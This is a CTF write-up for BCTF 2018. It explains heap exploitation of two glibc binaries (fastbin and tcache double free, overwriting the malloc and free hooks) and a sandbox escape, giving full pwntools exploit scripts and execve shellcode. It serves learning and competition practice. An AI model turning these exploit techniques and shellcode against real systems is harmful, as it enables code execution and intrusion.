BCTF 2018 Writeup

7 minute read

Pwn

easiest

This challenge uses libc 2.23

This is a house of roman challenge. There is an internal function executing system, so we don’t need to leak libc. But the challenge does not allow us to edit chunks after malloc. Hence, we partial overwrite the bk to use fastbin double free to implement edit.

The get_content function is also interesting:

size_t __fastcall read_content(__int64 _ptr, int _len)
{
  unsigned int _index; // [rsp+18h] [rbp-18h]
  int unused_set; // [rsp+1Ch] [rbp-14h]
  _BYTE *ptr; // [rsp+20h] [rbp-10h]
  size_t _result; // [rsp+28h] [rbp-8h]

  _index = 0;
  while ( 1 )
  {
    ptr = (_BYTE *)((signed int)_index + _ptr);
    _result = fread(ptr, 1uLL, 1uLL, stdin);
    if ( (signed int)_result <= 0 )
      break;
    if ( *ptr == 0xA && unused_set )
    {
      if ( _index )
      {
        *ptr = 0;
        return (signed int)_index + _ptr;
      }
    }
    else if ( (signed int)++_index >= _len )
    {
      return _index;
    }
  }
  return _result;
}

If we our input length is exactly the same as _len (the length we specified to apply malloc), it will not append NULL byte. So, NULL byte will not interfere our overwrite now.

Exploit script:

from pwn import *

get = 0
i = 0

def exp():
  global get
  global i
  get = 1
  p = process("./easiest")
  context.log_level = "DEBUG"
  #gdb.attach(p)
  #p = remote("39.96.9.148", 9999)

  def _add(idx, length, content):
    p.sendlineafter("delete", "1")
    p.sendlineafter(":", str(idx))
    p.sendlineafter(":", str(length))
    p.sendlineafter(":", content)

  def _free(idx):
    p.sendlineafter("delete", "2")
    p.sendlineafter(":", str(idx))

  call_ptr = p64(0x400946) # address that executes system

# Prepare two fastbins(A and B) to double free
  _add(0, 0x18, "A" * 16 + p64(0x21)) # chunk A
# We can edit the size from 0x100 to 0x170 to merege chunk A with following chunk C
  _add(10, 0xf8, "C") # chunk C
# This chunk is for double free to malloc hook
  _add(9, 0x68, "D") # chunk D
  _free(9)
# We add cthe second fastbin at the final step to 
# prevent fake unsorted bin mergin to top chunk chunk
  _add(1, 0x18, "B" * 16 + p64(0x21))

# prepare fastbin double free
  _free(0)
  _free(1)
  _free(0)
# This step requires bruteforce when ASLR is enabled
# It can return a chunk that is orginally at the end of chunk A
# And we edit it to create overlapping chunks in chunk C
  _add(0, 0x2, "\x18\x00")
  _add(1, 0x1, "E")
  _add(2, 0x1, "F")

# EOF Error might happen here 
  try:
# Edit chunk C to fake size to overlap with chunk D
    _add(3, 8, p64(0x171))
# Put it to unsorted bin
    _free(10)
# Write main_arena address to the bk of chunk C
    _add(10, 0xf8, "a")
# Free again, and apply to overwrite content to the address of malloc hook
    _free(10)
    _add(0, 0xf8 + 0x8 + 0x2, "\x00" * 0xf8 + p64(0x71) + "\xed\x1a")
    _add(1, 0x68, p64(0))
# Change malloc hook to call_ptr
    _add(1, 0x68, (0x23 - 0x10) * "\x00" + call_ptr)

# Trigger malloc hook to get shell, or try again
    p.sendlineafter("delete", "1")
    p.sendlineafter(":", "4")
    p.sendlineafter(":", "80")
    print "OK!"
    p.sendline("cat flag")
    print p.recvline()
  except EOFError:
    i = i + 1
    print "try: ", str(i)
    get = 0
    p.close()

while get == 0:
  exp()

I didn’t use multi-thread. Otherwise it would become much faster. It takes approximate 200~300 round to get flag.

three

this challenge uses libc2.27

This is another heap challenge, let’s have a quick review:

int edit()
{
  signed int v1; // [rsp+Ch] [rbp-4h]

  printf("Input the idx:");
  v1 = getint();
  if ( v1 < 0 || v1 > 2 || !notes[v1] )
    return puts("No such note!");
  printf("Input the content:");
  readn((void *)notes[v1], 0x40uLL);
  return puts("Done!");
}

unsigned __int64 del()
{
  __int64 v1; // [rsp+0h] [rbp-10h]
  unsigned __int64 v2; // [rsp+8h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  printf("Input the idx:");
  LODWORD(v1) = getint();
  if ( (signed int)v1 >= 0 && (signed int)v1 <= 2 && notes[(signed int)v1] )
  {
    free((void *)notes[(signed int)v1]);
    printf("Clear?(y/n):", v1);
    readn((char *)&v1 + 6, 2uLL);
    if ( BYTE6(v1) == 'y' )
      notes[(signed int)v1] = 0LL;
    puts("Done!");
  }
  else
  {
    puts("No such note!");
  }
  return __readfsqword(0x28u) ^ v2;
}

int alloc()
{
  signed int i; // [rsp+Ch] [rbp-4h]

  for ( i = 0; i <= 2 && notes[i]; ++i )
    ;
  if ( i == 3 )
    return puts("Too many notes!");
  printf("Input the content:");
  notes[i] = malloc(0x40uLL);
  readn((void *)notes[i], 0x40uLL);
  return puts("Done!");
}

int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
  int v3; // eax

  initialize(*(_QWORD *)&argc, argv, envp);
  while ( 1 )
  {
    while ( 1 )
    {
      v3 = menu();
      if ( v3 != 2 )
        break;
      edit();
    }
    if ( v3 == 3 )
    {
      del();
    }
    else
    {
      if ( v3 != 1 )
        exit(0);
      alloc();
    }
  }
}

readn(a, b) == read(0, a, b). The logic vulnerability is in del function:

free((void *)notes[(signed int)v1]);
printf("Clear?(y/n):", v1);
readn((char *)&v1 + 6, 2uLL);
if ( BYTE6(v1) == 'y' )
    notes[(signed int)v1] = 0LL;
puts("Done!");

It is almost identical to HITCON baby TCache. The program will free before confirmation, so the notes array will not be erased to 0 without input y. Double free comes handy now. The program does not show chunks’ content. We need to overwrite file stream pointer to leak. Then, as the usual, leak libc address, and the use one_gadge to overwrite free_hook. What’s more, it only allows three chunks exist at the same time, we need careful manipulation:

from pwn import *
p = process("./three")
# p = p=remote("39.96.13.122",9999)
#context.log_level = "debug"
gdb.attach(p)
libc = ELF('./libc.so.6')

def _add(content):
   p.sendlineafter(":", "1")
   p.sendafter(":", content)

def _free(index, confirm):
   p.sendlineafter(":", "3")
   p.sendlineafter(":", str(index))
   p.sendlineafter(":", confirm)

def _edit(index, content):
   p.sendlineafter("choice:", "2")
   p.sendlineafter(":", str(index))
   p.sendafter(":", content)

while True:
   try:
   # Prepare fake chunks
      _add("A")
      _add(p64(0x11) * 8)
      _free(1, "y")
      _free(0, "n")
      _edit(0, p8(0x50))
      _add("B")
      _add(p64(0))
      _free(1,"n")
    # Overwrite the size to match small bin
      _edit(2, p64(0) + p64(0x91))
    # Fill the TCache to use unsorted bin
      for i in range(7):
         _free(1, "n")
      _edit(2, p64(0) + p64(0x51))
      _free(0, "y")
      _edit(2, p64(0) + p64(0x91))
      _free(1, "y")
    # Overwrite the main_arena to FSP
      _edit(2, p64(0) + p64(0x51) + p16(0x7760))
      _add("C")

    # Change the flag and chunk address
        _add(p64(0xfbad3c80) + p64(0) * 3 + p8(0))
        p.recv(8)
    # Leak now
        libc_addr= u64(p.recv(6).ljust(8,'\x00')) - 0x3ed8b0
        print "libc: ", hex(libc_addr)
        _free(0, "y")
    # Write __free_hook
        _edit(2, p64(0) + p64(0x51) + p64(libc.symbols["__free_hook"] + libc_addr))
        _add("D")
        _edit(2, p64(0) + p64(0x61))
        _free(0,"y")
    # CHange __free_hook to one_gadget
        one_gadget = 0x4f322 + libc_addr
        _add(p64(one_gadget))
        p.sendlineafter(":", "3")
        p.sendlineafter(":",str(2))
    # get shell
        p.interactive()
   except EOFError:
      print "again"
      exit(0)

It also requires brute force.

MISC

EasySandbox

The key part is easy, use brute-force to find it:

import sys
import os
import random
import time
import base64
import string
import hashlib
from pwn import *
os.chdir("/home/ctf")
env = {"LD_PRELOAD": os.path.join(os.getcwd(), "scf.so")}
SALT_LEN = 10
HEX_LEN = 4


def base_str():
    return "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"


def random_string(length):
    string = [random.choice(base_str()) for i in range(length)]
    return ("".join(string))


def tofile(data):
    try:
        data = base64.b64decode(data)
    except:
        return ""
    cur_time = str(time.time())
    filename = "./backup/" + cur_time + ".elf"
    fd = open(filename, "wb")
    fd.write(data)
    fd.close()
    filename = "./" + cur_time + ".elf"
    fd = open(filename, "wb")
    fd.write(data)
    fd.close()
    return filename


def main():
    salt = random_string(SALT_LEN)
    tmpvalue = random_string(20) + salt
    md5 = hashlib.md5()
    md5.update(tmpvalue.encode("utf-8"))
    submd5 = md5.hexdigest()[:4]
    print("[*]Proof of work:")
    print("\tMD5(key+\"%s\")[:4]==%s" % (salt, submd5))
    print("[+]Give me the key:")
    sys.stdout.flush()
    value = sys.stdin.readline()[:-1]
    value = value + salt
    md5 = hashlib.md5()
    md5.update(value.encode("utf-8"))
    md5value = md5.hexdigest()
    if (md5value[:HEX_LEN] != submd5):
        print("[-]Access Failed")
        return
    print("[+]escape the sandbox!")
    sys.stdout.flush()
    ELF = sys.stdin.readline()[:-1]
    print(len(ELF))
    if (len(ELF) > 1048576):
        print("[-]ELF too big!")
        return
    elfname = tofile(ELF)
    if elfname == "":
        print("[-]base64 please!")
        sys.stdout.flush()
        return
    os.system("chmod +x %s" % elfname)
    io = process(elfname, env=env)
    io.interactive()


main()

Then, it will execute following:

{
  void (*v8)(void); // [rsp+0h] [rbp-40h]
  void (*v9)(void); // [rsp+8h] [rbp-38h]
  void (*v10)(void); // [rsp+10h] [rbp-30h]
  char **v11; // [rsp+18h] [rbp-28h]
  void *handle; // [rsp+30h] [rbp-10h]
  __int64 (__fastcall *v13)(int (__cdecl *)(int, char **, char **), _QWORD, char **, void (*)(void), void (*)(void), void (*)(void), void *, __int64); // [rsp+38h] [rbp-8h]
  __int64 v14; // [rsp+58h] [rbp+18h]

  v11 = ubp_av;
  v10 = init;
  v9 = fini;
  v8 = rtld_fini;
  puts("hook __libc_start_main success!");
  handle = dlopen("libc.so.6", 1);
  if ( !handle )
    exit(1);
  v13 = (__int64 (__fastcall *)(int (__cdecl *)(int, char **, char **), _QWORD, char **, void (*)(void), void (*)(void), void (*)(void), void *, __int64))dlsym(handle, "__libc_start_main");
  if ( !v13 )
    exit(2);
  if ( (unsigned int)install_syscall_filter() )
    exit(3);
  return v13(main, (unsigned int)argc, v11, v10, v9, v8, stack_end, v14);
}

Since it only hooks libc)start_main, we can use _start segment to get shell:

section .text
  global _start
    xor eax, eax
    mov rbx, 0xFF978CD091969DD1
    neg rbx
    push rbx
    ;mov rdi, rsp
    push rsp
    pop rdi
    cdq
    push rdx
    push rdi
    ;mov rsi, rsp
    push rsp
    pop rsi
    mov al, 0x3b
    syscall

Leave a comment